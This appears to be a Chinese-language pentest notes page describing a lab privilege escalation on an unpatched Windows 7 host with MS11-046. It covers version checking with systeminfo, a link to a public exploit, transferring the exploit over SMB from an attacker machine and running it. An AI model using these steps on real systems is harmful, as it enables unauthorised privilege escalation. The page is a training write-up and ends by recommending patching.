> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/kernel-exploitation/windows-7-enterprise-kernel-exploitation.md).

# Windows 7 Enterprise - MS11-046

这份说明记录了一个实验室案例，目标是一台老旧、未打补丁的 Windows 7 Enterprise 主机。内核利用应始终从精确的版本和补丁验证开始。

## 检测

```powershell
systeminfo
```

观察到的版本：

```
操作系统版本：6.1.7600 N/A Build 7600
```

<figure><img src="/files/fc42712361021e4c59d549ac555bff6641b67ddc" alt="Windows 7 Enterprise systeminfo output"><figcaption></figcaption></figure>

## MS11-046 利用程序

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

<figure><img src="/files/f1eea3956f0a2e18ba6ef611407a35e79bbd46ba" alt="MS11-046 exploit reference"><figcaption></figcaption></figure>

<figure><img src="/files/9ce946b9aeb01b738e12edeffaabdf5fb4422b1d" alt="MS11-046 exploit file"><figcaption></figcaption></figure>

## 通过 SMB 传输

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.26\share\ms11-046.exe ms11.exe
```

<figure><img src="/files/72f3c21d2a4e65d022129c85199dc9ddadac693b" alt="MS11-046 exploit transferred over SMB"><figcaption></figcaption></figure>

## 执行

```powershell
./ms11.exe
```

<figure><img src="/files/4db46cc681c3010d57468a60db1603f352cbc1e6" alt="MS11-046 privileged execution result"><figcaption></figcaption></figure>

## 关键要点

* 旧版 Windows 构建还不够；请验证已安装的热修复补丁。
* 在 Windows 实验环境中，SMB 传输很方便。
* 通过打补丁或淘汰过时系统来修复。


---

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